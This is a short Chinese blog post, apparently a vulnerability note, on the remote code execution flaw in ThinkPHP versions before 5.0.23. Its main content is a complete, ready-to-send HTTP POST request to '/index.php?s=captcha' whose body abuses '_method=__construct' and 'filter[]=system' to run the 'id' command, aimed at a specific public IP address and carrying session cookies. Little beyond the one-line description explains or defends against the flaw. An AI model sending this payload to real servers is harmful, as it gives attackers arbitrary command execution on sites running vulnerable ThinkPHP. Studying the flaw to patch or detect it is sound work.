ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

环境:5.0.23

发送数据包:

POST /index.php?s=captcha HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://188.40.189.134:8080
Connection: close
Referer: http://188.40.189.134:8080/
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...